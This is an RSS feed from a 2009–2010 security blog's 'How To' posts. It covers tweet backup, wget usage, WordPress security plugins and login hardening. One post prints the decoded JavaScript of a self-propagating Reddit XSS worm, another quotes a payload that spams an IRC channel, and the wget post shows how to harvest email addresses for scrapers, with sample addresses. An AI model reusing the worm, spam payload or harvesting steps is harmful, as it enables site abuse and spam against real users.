<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; How To</title>
	<atom:link href="http://insanesecurity.info/blog/category/how-to/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>That&#8217;s a cool trick</title>
		<link>http://insanesecurity.info/blog/thats-a-cool-trick</link>
		<comments>http://insanesecurity.info/blog/thats-a-cool-trick#comments</comments>
		<pubDate>Wed, 27 Jan 2010 18:01:06 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=304</guid>
		<description><![CDATA[Today when reddit was down for maintenance people kept gathering on the #redditdowntime channel on freenode where under a couple of minutes intriguing things started to happen. You can read the whole story here (and come back afterwards). TLDR: the channel (through some javascript code) got link spammed in huge numbers. The code &#8211; which [...]]]></description>
			<content:encoded><![CDATA[<p>Today when reddit was down for maintenance people kept gathering on the <a href="http://irc.freenode.net:6667/redditdowntime">#redditdowntime channel on freenode</a> where under a couple of minutes intriguing things started to happen.</p>
<p>You can read the whole story <a href="http://unethicalblogger.com/posts/2010/01/using_browser_piss_irc_users_or_spamming_redditdowntime">here</a> (and come back afterwards).<br />
<span id="more-304"></span><br />
TLDR: the channel (through some javascript code) got link spammed in huge numbers.</p>
<p>The code &#8211; which you can find in the article I&#8217;ve pointed earlier &#8211; basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.</p>
<p>What I&#8217;ve liked in the code is the way it sends the connection and &#8220;payload&#8221; to the irc server; via the following (combined) string.</p>
<pre>
x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';
</pre>
<p>And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.</p>
<p>Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.</p>
<p>Nice trick, I&#8217;ll remember it next time I&#8217;ll have to do a string repeat.</p>
<p>And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.</p>
<blockquote cite="Freenode is run by morons"><p>
IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):</p>
<p>Freenode is run by morons who can&#8217;t read IRCD config files. It is that simple.</p>
<p>Instead of reading the docs, freenode is switching to another IRCD to solve this &#8220;problem&#8221;. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.</p>
<p>But no, freenode has historically been run by people who don&#8217;t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.</p>
<p>Also firewalling with a pattern match on POST would&#8217;ve solved these problems too. But freenode admins are not the brightest admins.
</p></blockquote>
<p>And all of this because a Reddit user once owned a Digg user&#8230;. I can&#8217;t find the picture!</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/thats-a-cool-trick/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter (tweets) backup</title>
		<link>http://insanesecurity.info/blog/twitter-tweets-backup</link>
		<comments>http://insanesecurity.info/blog/twitter-tweets-backup#comments</comments>
		<pubDate>Tue, 29 Sep 2009 02:12:43 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=287</guid>
		<description><![CDATA[Today someone came to this blog searching for a twitter backup facility. I never did post such an application/script so I figured I&#8217;d share my way of backing up my tweets. I actually never backup my tweets (nothing of value would be lost), and never intend to, but for the sake of posting something I&#8217;ve [...]]]></description>
			<content:encoded><![CDATA[<p>Today someone came to this blog searching for a twitter backup facility. I never did post such an application/script so I figured I&#8217;d share my way of backing up my tweets.</p>
<p>I actually never backup my tweets (nothing of value would be lost), and never intend to, but for the sake of posting something I&#8217;ve said I&#8217;d give it a go.<br />
<span id="more-287"></span></p>
<p>I&#8217;m gonna perform the backup from the command line (like a true magician) without using the twitter API, so only public tweets will be backed up.</p>
<p>Ok, first we need to know the number of tweets we are going to back up (in my case 630) and divide that number by 20 (the number of tweets per page) rounding up the result. In simple math:</p>
<pre>
630 / 20 = 31.5 ~ 32
</pre>
<p>Now we know my tweets are distributed on 32 pages.<br />
Next we retrieve the 32 different pages via wget. First variant is from a Windows terminal:</p>
<pre>
for /L %i in (1,1,32) do @wget http://twitter.com/username?page=%i
</pre>
<p>The <em>for</em> trick is something I learned from the <a href="http://blog.commandlinekungfu.com/">command line kung fu blog</a>. It will iterate from <em>1</em> to <em>32</em> and store the value in the <em>%i</em> variable. Oh, and before you hit enter don&#8217;t forget to replace the <em>username</em> with your actual twitter username.</p>
<p>The Linux version is just a transcription of the above command:</p>
<pre>
for (i=0; i<32; i++); do `wget http://twitter.com/username?page=$i`; done
</pre>
<p>Hopefully I nailed it; didn't actually test the Linux command but it should work. If not, just leave me a comment with the correction.</p>
<p>As the rest goes, it's just simple regular expression matching and replacing (format a bit the end result).</p>
<pre>
grep -o -P "&lt;span class=\"entry-content\"&gt;(.*?)&lt;/span&gt;" * &gt; brute.html
sed "s/&lt;span class=\"entry-content\"&gt;//g" brute.html | sed "s/&lt;\/span&gt;/&lt;br&gt;&lt;br&gt;/g" &gt; final.html
</pre>
<p>After executing the last two commands you should have your tweets stored in the <em>final.html</em> file.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/twitter-tweets-backup/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Reddit worm, oh boy&#8230;</title>
		<link>http://insanesecurity.info/blog/reddit-worm-oh-my</link>
		<comments>http://insanesecurity.info/blog/reddit-worm-oh-my#comments</comments>
		<pubDate>Mon, 28 Sep 2009 04:03:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Worm]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=264</guid>
		<description><![CDATA[As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230;<br />
<code><br />
An error occurred while processing your request.<br />
Reference #97.27c37259.1254106488.35b1d0e<br />
</code></p>
<p>The (decoded) code of the worm is the following:</p>
<pre>
// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i&lt;e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='save'&#038;&#038;e[i].style.display!='none')
        $(e[i]).click();
</pre>
<p>In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I&#8217;d be more than happy.</p>
<p>If not, we&#8217;ll have an unsolved mystery :)</p>
<p><strong>UPDATE</strong>: worm author has happily <a href="http://www.reddit.com/r/IAmA/comments/9ox75/i_found_and_wrote_the_exploit_which_crashed/c0dqwzs">shared its way of evading the filter</a>.</p>
<p><strong>UPDATE 2</strong>: <a href="http://blog.reddit.com/2009/09/we-had-some-bugs-and-it-hurt-us.html">post about the bug on the reddit blog</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/reddit-worm-oh-my/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress security plugins</title>
		<link>http://insanesecurity.info/blog/wordpress-security-plugins</link>
		<comments>http://insanesecurity.info/blog/wordpress-security-plugins#comments</comments>
		<pubDate>Thu, 09 Jul 2009 13:29:00 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=197</guid>
		<description><![CDATA[As any other IT security enthusiast I have limited trust towards the platforms I use, the current case being WordPress. The intention was there (to write my own blogging platform) but quickly gave up to it, mostly due to lack of time&#8230; I had a to make a compromise; use the platform but try to [...]]]></description>
			<content:encoded><![CDATA[<p>As any other IT security enthusiast  I have limited trust towards the platforms I use, the current case being WordPress. The intention was there (to write my own blogging platform) but quickly gave up to it, mostly due to lack of time&#8230;</p>
<p>I had a to make a compromise; use the platform but try to secure it as well&#8230; But instead of applying security from outside the platform, this time I was going to write WordPress plugins to do the job&#8230; five/ten minutes into coding stuff, I was like:<br />
<cite><br />
Wait! What the fuck am I doing? WordPress has got a huge number of extensions, for sure it&#8217;s got security oriented ones as well.<br />
</cite></p>
<p>And I was right&#8230; after browsing a couple of minutes through them (I didn&#8217;t say there where many) I&#8217;ve came up with the following list of security extensions which I liked: Login LockDown, Paranoid911, Restrict Login By IP, Times to Come security plugin and WP Security Scan.<br />
<span id="more-197"></span><br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2><a href="http://www.bad-neighborhood.com/login-lockdown.html">Login LockDown</a></h2>
<blockquote><p>Login LockDown records the IP address and timestamp of every failed WordPress login attempt. If more than a certain number of attempts are detected within a short period of time from the same IP range, then the login function is disabled for all requests from that range. This helps to prevent brute force password discovery.</p></blockquote>
<p><a href="http://img179.imageshack.us/my.php?image=loginlockdown.jpg" target="_blank"><img src="http://img179.imageshack.us/img179/6877/loginlockdown.th.jpg" border="0" alt="" /></a></p>
<h2><a href="http://wordpress.org/extend/plugins/paranoid911/">Paranoid911</a></h2>
<blockquote><p>Paranoid911 checks your wordpress installation for changes and sends you an email when changes occur.</p></blockquote>
<p><a href="http://img269.imageshack.us/my.php?image=paranoid911config.jpg" target="_blank"><img src="http://img269.imageshack.us/img269/9633/paranoid911config.th.jpg" border="0" alt="" /></a> <a href="http://img115.imageshack.us/my.php?image=paranoid911result.jpg" target="_blank"><img src="http://img115.imageshack.us/img115/3014/paranoid911result.th.jpg" border="0" alt="" /></a></p>
<h2><a href="http://w-shadow.com/blog/2008/11/07/restrict-login-by-ip-a-wordpress-plugin/">Restrict Login by IP</a></h2>
<blockquote><p>This plugin lets you specify IP addresses or hosts that users are allowed to login from. You can either use full IPs (e.g. “12.34.56.7″) or partial IPs (e.g. “12.34″), which lets you specify a range of addresses. More advanced configuration is also possible – you can specify allowed subnet(s) via network/netmask and use IPv6 addresses, too.</p></blockquote>
<p><a href="http://img89.imageshack.us/my.php?image=rlbyip.jpg" target="_blank"><img src="http://img89.imageshack.us/img89/7581/rlbyip.th.jpg" border="0"/></a></p>
<h2><a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a></h2>
<blockquote><p>
Scans your WordPress installation for security vulnerabilities and suggests corrective actions.
</p></blockquote>
<p>Two features I&#8217;ve liked and found useful at this plugin, namely the security and scanner ones&#8230;</p>
<p><a href="http://img190.imageshack.us/my.php?image=wpsssecurity.jpg" target="_blank"><img src="http://img190.imageshack.us/img190/5886/wpsssecurity.th.jpg" border="0"/></a> <a href="http://img17.imageshack.us/my.php?image=wpssscanner.jpg" target="_blank"><img src="http://img17.imageshack.us/img17/1894/wpssscanner.th.jpg" border="0"/></a></p>
<h2><a href="http://herselfswebtools.com/2008/06/wordpress-security-plugin-block-scrapers-hackers-and-more.html">TimesToCome Security Plugin</a></h2>
<p>I&#8217;ve kept this one for last, because I consider it a priceless addition to the plugin box.</p>
<blockquote><p>
This is part 2 of a 3 part security suite for WordPress. This part blocks cross-site script attempts, ip numbers of ill behaved people and bots and bans bad user agents. Since trouble is always changing this plugin allows you to adjust who you want to block. I’ve started you out with every bad bot I caught on my site this past month. You can remove bots, add bots and add and remove ips and requests.</p></blockquote>
<p><a href="http://img17.imageshack.us/my.php?image=ttcsp.jpg" target="_blank"><img src="http://img17.imageshack.us/img17/9200/ttcsp.th.jpg" border="0"/></a></p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/wordpress-security-plugins/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WGet all the way</title>
		<link>http://insanesecurity.info/blog/wget-all-the-way</link>
		<comments>http://insanesecurity.info/blog/wget-all-the-way#comments</comments>
		<pubDate>Tue, 07 Jul 2009 17:04:06 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[isf]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=121</guid>
		<description><![CDATA[There are a couple of security auditing frameworks out there, and the temptation is high on creating your own; either in Perl, Ruby, Python and why not in PHP as well. Needles to say, I too was tempted in creating my own framework. Ideas kept flowing in, the project has been started and then BAM, [...]]]></description>
			<content:encoded><![CDATA[<p>There are a couple of security auditing frameworks out there, and the temptation is high on creating your own; either in Perl, Ruby, Python and why not in PHP as well.</p>
<p>Needles to say, I too was tempted in creating my own framework. Ideas kept flowing in, the project has been started and then BAM, I&#8217;ve read an interesting article on <a href="http://www.gnucitizen.org/blog/you-dont-need-the-ultimate-pen-testing-framework/">GNUCITIZEN</a>, which made me rethink my strategy&#8230;</p>
<p>One of the comments pointed it out very well:</p>
<blockquote><p>most of the stuff we need is on the shell already. pentesting frameworks is like the new security-testing hype. first we had hundreds of portscanners, then hundreds of webapp MiTM proxies, then hundreds of fuzzers, then hundreds of SQL injectors, now it’s about pentesting frameworks :)</p></blockquote>
<p>So instead of starting to write redundant code, I started to learn already available command line tools, which have years of development behind and fill in almost every aspect they need to.</p>
<p>Basically I&#8217;m building my framework around already available tools, and only code up things that do not exist, or for some very particular cases.<br />
<span id="more-121"></span></p>
<h2>So why WGet?</h2>
<p>Well I had to start with something my series of articles (it&#8217;s gonna be a series), and <code>wget</code> seemed to be a good starting point.</p>
<p>If you&#8217;ve never dealt with <code>wget</code> (which I sincerely doubt), the following description best describes it:</p>
<blockquote><p>GNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows support, etc</p></blockquote>
<p>Without further useless rambling let&#8217;s see in which scenarios you would use wget; apart from downloading <code>psyBNC</code> archives, like seen on many h4x00r websites.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>Website crawling</h2>
<p>There are a couple of tools that facilitate website crawling, I even mentioned one in my <a href="http://insanesecurity.info/blog/intercepting-proxies">Intercepting Proxies?</a> article with the difference that liveHTTPHeaders may be used for passive crawling of websites&#8230;</p>
<p>So how would we go on crawling a website with <code>wget</code>?</p>
<pre>wget -r -nd --spider -o links.txt http://insanesecurity.info</pre>
<p>Where:</p>
<ul>
<li>r &#8211; recursive crawling</li>
<li>nd &#8211; don&#8217;t create directories</li>
<li>spider &#8211; do not save pages, discard after collecting links from them</li>
<li>o &#8211; save output to file links.txt</li>
</ul>
<p>But what if we would want to restrict the crawling only under a directory, and filter out CSS, images and Javascript files?</p>
<pre>wget -r -nd --spider -o links.txt -np -R js,css,jpg,png,gif http://insanesecurity.info/blog/</pre>
<p>Where:</p>
<ul>
<li>np &#8211; do not go to parent directory</li>
<li>R &#8211; one or more extensions to reject (comma separated)</li>
</ul>
<p>After the command finishes the content of <code>links.txt</code> would look like this (assuming you&#8217;ve run the first command):</p>
<pre>Spider mode enabled. Check if remote file exists.
--2009-07-07 16:46:58--  http://insanesecurity.info/
Resolving insanesecurity.info... 93.115.201.3
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://insanesecurity.info/blog/ [following]
Spider mode enabled. Check if remote file exists.
--2009-07-07 16:47:01--  http://insanesecurity.info/blog/
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Remote file exists and could contain links to other resources -- retrieving.

--2009-07-07 16:47:01--  http://insanesecurity.info/blog/
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.html'</pre>
<p>From this point, the retrieval of links is just a mater of using <code>grep</code>, <code>cut</code>, <code>sort</code> and <code>uniq</code>.</p>
<pre>cat links.txt | grep -P "\-\-\d{4}" | cut -d " " -f 4 | sort | uniq</pre>
<p>And the output would be like:</p>
<pre>http://insanesecurity.info/

http://insanesecurity.info/2009/01/hacking-yahoogmailhotmail-accounts-a-z-guide/

http://insanesecurity.info/2009/01/javascript-userscript-keylogger/

http://insanesecurity.info/2009/01/logging-the-http-requests/

http://insanesecurity.info/2009/01/password-insecurity-wordlists-dictionaries/

http://insanesecurity.info/2009/01/the-future-of-av-or-not/

http://insanesecurity.info/2009/01/the-hackers-underground-handbook-review/

http://insanesecurity.info/2009/01/useratuh-frontend-to-backend-encryption/</pre>
<h2>Copying websites</h2>
<p>Or website mirroring as people use to call it.</p>
<p>There are a couple of reasons why you would do this;</p>
<ul>
<li>To have a copy which you can transport on a CD/DVD/Memory card/etc, having the possibility to convert the links to point to local files.</li>
<li>Content to feed email scrappers</li>
</ul>
<p>For our first scenario, you would run <code>wget</code> in the following manner:</p>
<pre>wget -m -k -p -np http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/</pre>
<p>Where:</p>
<ul>
<li>m &#8211; mirror website</li>
<li>k &#8211; convert html links to local files</li>
<li>p &#8211; get page dependencies (css, images)</li>
<li>np &#8211; do not go to parent folders</li>
</ul>
<p>And as far as using it for scrapping purpose, we use the most simplistic commands:</p>
<pre>
wget http://tinyurl.com/nqa48q
cat downloaded-file | grep -o -P "\w+\[at\]\w+" > emails.txt
</pre>
<p>And this way I have gathered a list of 40 email addresses&#8230; a sample of them:</p>
<pre>
ureachnirav[at]yahoo
reachjag[at]yahoo
g2[at]g2designindia
g2design[at]rediffmail
archsumitjoshi[at]yahoo
joshi[at]hexagon
rohankarswapnil[at]yahoo
sandy004[at]yahoo
idc[at]iitb
visakan[at]gmail
</pre>
<p>Of course that for replacing the [at] in them, we can simply use <code>sed</code>:</p>
<pre>
cat emails.txt | sed -r "s/\[at\]/@/g" > normal-emails.txt
</pre>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js"  type="text/javascript"></script></p>
<h2>Blog spam</h2>
<p>This is also possible (and simple) to achieve with <code>wget</code> and minor interference from <code>grep</code> and <code>sed</code>, but for this one I will not post an example&#8230; There are already hundreds of spammers out there, so why add more to the list? If interest exists in <code>wget</code> from your part you will find out how&#8230;</p>
<p>Of course for this you will need to script the behavior (bash, bat, perl, python, etc), or create a lengthy command line.</p>
<h2>FTP Copy</h2>
<p>As mentioned at the beginning of article <code>wget</code> can very well work with the ftp protocol as well.</p>
<pre>
wget -r --ftp-user=anonymous --ftp-password=some@email.com ftp://ftp.ro.freebsd.org/pub/FreeBSD/
</pre>
<p>Here I think is no need to explain the command line arguments, they are pretty obvious.</p>
<h2>Anonymous mode</h2>
<p>When I&#8217;m referring to anonymous mode, I&#8217;m referring to channel <code>wget</code> requests through proxy servers. First you need to configure your <code>.wgetrc</code> file. If you haven&#8217;t got one, you may as well create it now.</p>
<pre>
#############################
###
### Sample Wget initialization file .wgetrc
###

## You can use this file to change the default behaviour of wget or to
## avoid having to type many many command-line options. This file does
## not contain a comprehensive list of commands -- look at the manual
## to find out what you can put into this file.
##
## Wget initialization file can reside in /usr/local/etc/wgetrc
## (global, for all users) or $HOME/.wgetrc (for a single user).
##
## To use the settings in this file, you will have to uncomment them,
## as well as change them, in most cases, as the values on the
## commented-out lines are the default values (e.g. "off").

##
## Global settings (useful for setting up in /usr/local/etc/wgetrc).
## Think well before you change them, since they may reduce wget's
## functionality, and make it behave contrary to the documentation:
##

# You can set retrieve quota for beginners by specifying a value
# optionally followed by 'K' (kilobytes) or 'M' (megabytes).  The
# default quota is unlimited.
#quota = inf

# You can lower (or raise) the default number of retries when
# downloading a file (default is 20).
#tries = 20

# Lowering the maximum depth of the recursive retrieval is handy to
# prevent newbies from going too "deep" when they unwittingly start
# the recursive retrieval.  The default is 5.
#reclevel = 5

# Many sites are behind firewalls that do not allow initiation of
# connections from the outside.  On these sites you have to use the
# `passive' feature of FTP.  If you are behind such a firewall, you
# can turn this on to make Wget use passive FTP by default.
#passive_ftp = off

# The "wait" command below makes Wget wait between every connection.
# If, instead, you want Wget to wait only between retries of failed
# downloads, set waitretry to maximum number of seconds to wait (Wget
# will use "linear backoff", waiting 1 second after the first failure
# on a file, 2 seconds after the second failure, etc. up to this max).
waitretry = 10

##
## Local settings (for a user to set in his $HOME/.wgetrc).  It is
## *highly* undesirable to put these settings in the global file, since
## they are potentially dangerous to "normal" users.
##
## Even when setting up your own ~/.wgetrc, you should know what you
## are doing before doing so.
##

# Set this to on to use timestamping by default:
#timestamping = off

# It is a good idea to make Wget send your email address in a `From:'
# header with your request (so that server administrators can contact
# you in case of errors).  Wget does *not* send `From:' by default.
#header = From: Your Name 

# You can set up other headers, like Accept-Language.  Accept-Language
# is *not* sent by default.
#header = Accept-Language: en

# You can set the default proxies for Wget to use for http and ftp.
# They will override the value in the environment.
http_proxy = http://1.2.3.4:8080/
#ftp_proxy = http://proxy.yoyodyne.com:18023/

# If you do not want to use proxy at all, set this to off.
use_proxy = on

# You can customize the retrieval outlook.  Valid options are default,
# binary, mega and micro.
#dot_style = default

# Setting this to off makes Wget not download /robots.txt.  Be sure to
# know *exactly* what /robots.txt is and how it is used before changing
# the default!
#robots = on

# It can be useful to make Wget wait between connections.  Set this to
# the number of seconds you want Wget to wait.
#wait = 0

# You can force creating directory structure, even if a single is being
# retrieved, by setting this to on.
#dirstruct = off

# You can turn on recursive retrieving by default (don't do this if
# you are not sure you know what it means) by setting this to on.
#recursive = off

# To always back up file X as X.orig before converting its links (due
# to -k / --convert-links / convert_links = on having been specified),
# set this variable to on:
#backup_converted = off

# To have Wget follow FTP links from HTML files by default, set this
# to on:
#follow_ftp = off
</pre>
<p>I saved the file in my <code>C:/Windows</code> folder, but you may save it any other place you like. Under Linux you may already have this file in your <code>/etc</code> folder, so just modify it there.</p>
<p>As you may notice in the configuration file above (If you&#8217;ve looked closely) I have enabled the <code>http_proxy</code> and set up a proxy.</p>
<pre>
set WGETRC=C:/Windows/.wgetrc
wget --proxy=on http://insanesecurity.info/blog/
</pre>
<p>The first line is necessary under Windows if you haven&#8217;t set up till know the custom <code>.wgetrc</code>, while the second command enables the proxy and executes a request.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>Tweaking it</h2>
<p>This is just a quick intro on the most common usages of <code>wget</code>&#8230; Besides the ones mentioned here it also comes with a handful of other configuration options which you may look into&#8230;</p>
<p>Hopefully this article will be read by those who all day long write scrappers and spiders&#8230; I&#8217;m tired of bumping constantly over those types of scripts :)</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/wget-all-the-way/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>8 Tips For A Secure Login Script/Admin Panel</title>
		<link>http://insanesecurity.info/blog/8-tips-for-a-secure-login-scriptadmin-panel</link>
		<comments>http://insanesecurity.info/blog/8-tips-for-a-secure-login-scriptadmin-panel#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:53:57 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[CAPTCHA]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=76</guid>
		<description><![CDATA[After reading the title you may say to yourself &#8220;Oh no, another &#60;&#60;secure login script&#62;&#62; article! Aren&#8217;t there enough already online?&#8221;. Yes there are, but unfortunately many tutorials (if it&#8217;s appropriate to call them so) only show you how to write SQL Injection free code. But that isn&#8217;t enough. What about brute force (dictionary, hybrid) [...]]]></description>
			<content:encoded><![CDATA[<p>After reading the title you may say to yourself &#8220;Oh no, another &lt;&lt;secure login script&gt;&gt; article! Aren&#8217;t there enough already online?&#8221;. Yes there are, but unfortunately many tutorials (if it&#8217;s appropriate to call them so) only show you how to write SQL Injection free code. But that isn&#8217;t enough. What about brute force (dictionary, hybrid) attacks? Or how about making your admin panel (user panel) CSRF free? Well this article will try to deal with those issues too.</p>
<p><span id="more-76"></span></p>
<h2>Tip 1: Login Page/Authentication</h2>
<p>Let&#8217;s start with the basic example, which you can find in all those so similar tutorials&#8230; First of is the login form:</p>
<pre>
&lt;form action="login.php" method="post"&gt;
    &lt;input type="text" name="username" /&gt;
    &lt;input type="password" name="password" /&gt;

    &lt;input type="submit" name="Login" /&gt;
&lt;/form>
</pre>
<p>Very complex html code, I know. It took me around 10 minutes to write it. Now for the php script that does all the work. <strong>NOTE</strong>: In this example and all to follow we always assume a mysql connection has been made and that sessions are started.</p>
<pre>
$username = mysql_real_escape_string($_POST['username']);
$password = sha1('salt'.$_POST['password']);
$result = mysql_query(
    "SELECT id
     FROM users
     WHERE username='$username' AND password='$password'
     ORDER BY id"
);
if(1!=mysql_num_rows($result)) {
    echo 'Login failed, username or password was wrong!';
    exit;
}
$_SESSION['auth'] = true;
$_SESSION['username'] = $username;
$_SESSION['id'] = mysql_result($result, 0);
echo 'Logged in!';
</pre>
<p>If everything is clear till now than we can move onward&#8230; (with this first section I&#8217;ve done a summary of all the secure login scripts tutorials)</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Tip 2: Bruteforce?</h2>
<p>Such a rudimentary attack that people almost forget about it. And most of the time it can be invisible to the websites administrator because POST requests aren&#8217;t logged by default. You may remember this from my article <a href="http://insanesecurity.info/2009/01/logging-the-http-requests/">Logging the HTTP requests!</a> But I&#8217;m not going to use that, because I want to keep all this simple, as simple as possible. So then, we will assume we got a table which is cleared daily (cron?) and stores only the username in the table. One columned table. (I told you that I&#8217;m gonna keep it simple) Then the following lines would be also in the login script (before the login query):</p>
<pre>
$counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'"
    ),
    0
);
mysql_query("INSERT INTO attempts VALUES('$username')");
if($counter&gt;=10) {
    echo 'Bruteforce attempt detected or more than allowed logins per day exceeded!';
    exit;
}
</pre>
